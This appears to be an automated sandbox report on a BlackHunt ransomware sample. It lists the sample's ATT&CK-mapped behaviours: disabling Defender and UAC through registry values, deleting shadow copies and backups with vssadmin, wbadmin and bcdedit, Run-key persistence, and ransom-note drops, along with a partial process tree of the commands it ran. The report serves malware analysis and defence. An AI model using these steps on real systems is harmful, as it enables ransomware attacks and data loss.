d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1

Data Destruction

T1485

pid	Process
1556	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
928	bcdedit.exe
3024	bcdedit.exe

Renames multiple (103) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3008	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\R:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\O:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\V:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\I:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\P:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\G:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\Q:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\U:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\X:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\B:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\E:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\T:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\H:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\J:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\S:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\Z:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\M:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\A:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\K:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\L:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened (read-only)	\??\N:	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-highlight.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\plugin2\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_ButtonGraphic.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\#BlackHunt_ReadMe.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_MATTE2_PAL.wmv	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Dot.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_PreComp_MATTE_PAL.wmv	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_ButtonGraphic.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_ButtonGraphic.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\#BlackHunt_ReadMe.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bg.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\SecretST.TTF	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_VideoInset.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\babypink.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\7-Zip\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\pushplaysubpicture.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\203x8subpicture.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_rgb.wmv	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\#BlackHunt_ReadMe.txt	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\#BlackHunt_ReadMe.hta	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\rtstreamsink.ax	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_VideoInset.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_Private.key	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2928	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2776	vssadmin.exe
2560	vssadmin.exe
944	vssadmin.exe
2976	vssadmin.exe
2736	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Token: SeRestorePrivilege	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Token: SeBackupPrivilege	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Token: SeTakeOwnershipPrivilege	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Token: SeAuditPrivilege	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Token: SeSecurityPrivilege	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Token: SeIncBasePriorityPrivilege	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Token: SeBackupPrivilege	2260	vssvc.exe
Token: SeRestorePrivilege	2260	vssvc.exe
Token: SeAuditPrivilege	2260	vssvc.exe
Token: SeBackupPrivilege	1852	wbengine.exe
Token: SeRestorePrivilege	1852	wbengine.exe
Token: SeSecurityPrivilege	1852	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 364	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	29
PID 1028 wrote to memory of 364	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	29
PID 1028 wrote to memory of 364	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	29
PID 1028 wrote to memory of 364	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	29
PID 1028 wrote to memory of 1748	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	30
PID 1028 wrote to memory of 1748	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	30
PID 1028 wrote to memory of 1748	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	30
PID 1028 wrote to memory of 1748	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	30
PID 1028 wrote to memory of 1752	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	31
PID 1028 wrote to memory of 1752	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	31
PID 1028 wrote to memory of 1752	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	31
PID 1028 wrote to memory of 1752	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	31
PID 1028 wrote to memory of 2564	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	33
PID 1028 wrote to memory of 2564	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	33
PID 1028 wrote to memory of 2564	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	33
PID 1028 wrote to memory of 2564	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	33
PID 1028 wrote to memory of 2040	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	37
PID 1028 wrote to memory of 2040	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	37
PID 1028 wrote to memory of 2040	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	37
PID 1028 wrote to memory of 2040	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	37
PID 1028 wrote to memory of 756	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	38
PID 1028 wrote to memory of 756	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	38
PID 1028 wrote to memory of 756	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	38
PID 1028 wrote to memory of 756	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	38
PID 1028 wrote to memory of 2036	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	41
PID 1028 wrote to memory of 2036	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	41
PID 1028 wrote to memory of 2036	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	41
PID 1028 wrote to memory of 2036	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	41
PID 1028 wrote to memory of 516	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	42
PID 1028 wrote to memory of 516	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	42
PID 1028 wrote to memory of 516	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	42
PID 1028 wrote to memory of 516	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	42
PID 2564 wrote to memory of 1104	2564	cmd.exe	44
PID 2564 wrote to memory of 1104	2564	cmd.exe	44
PID 2564 wrote to memory of 1104	2564	cmd.exe	44
PID 1028 wrote to memory of 1472	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	45
PID 1028 wrote to memory of 1472	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	45
PID 1028 wrote to memory of 1472	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	45
PID 1028 wrote to memory of 1472	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	45
PID 364 wrote to memory of 580	364	cmd.exe	46
PID 364 wrote to memory of 580	364	cmd.exe	46
PID 364 wrote to memory of 580	364	cmd.exe	46
PID 1028 wrote to memory of 2436	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	48
PID 1028 wrote to memory of 2436	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	48
PID 1028 wrote to memory of 2436	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	48
PID 1028 wrote to memory of 2436	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	48
PID 1028 wrote to memory of 2936	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	50
PID 1028 wrote to memory of 2936	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	50
PID 1028 wrote to memory of 2936	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	50
PID 1028 wrote to memory of 2936	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	50
PID 1748 wrote to memory of 2024	1748	cmd.exe	52
PID 1748 wrote to memory of 2024	1748	cmd.exe	52
PID 1748 wrote to memory of 2024	1748	cmd.exe	52
PID 1752 wrote to memory of 2056	1752	cmd.exe	53
PID 1752 wrote to memory of 2056	1752	cmd.exe	53
PID 1752 wrote to memory of 2056	1752	cmd.exe	53
PID 1028 wrote to memory of 1968	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	55
PID 1028 wrote to memory of 1968	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	55
PID 1028 wrote to memory of 1968	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	55
PID 1028 wrote to memory of 1968	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	55
PID 1028 wrote to memory of 1680	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	57
PID 1028 wrote to memory of 1680	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	57
PID 1028 wrote to memory of 1680	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	57
PID 1028 wrote to memory of 1680	1028	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe
"C:\Users\Admin\AppData\Local\Temp\d3f00a58082860c8281f7960ea66f1c302f110503fc3055d0f85be287ffcc8e1.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:364
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\system32\reg.exe
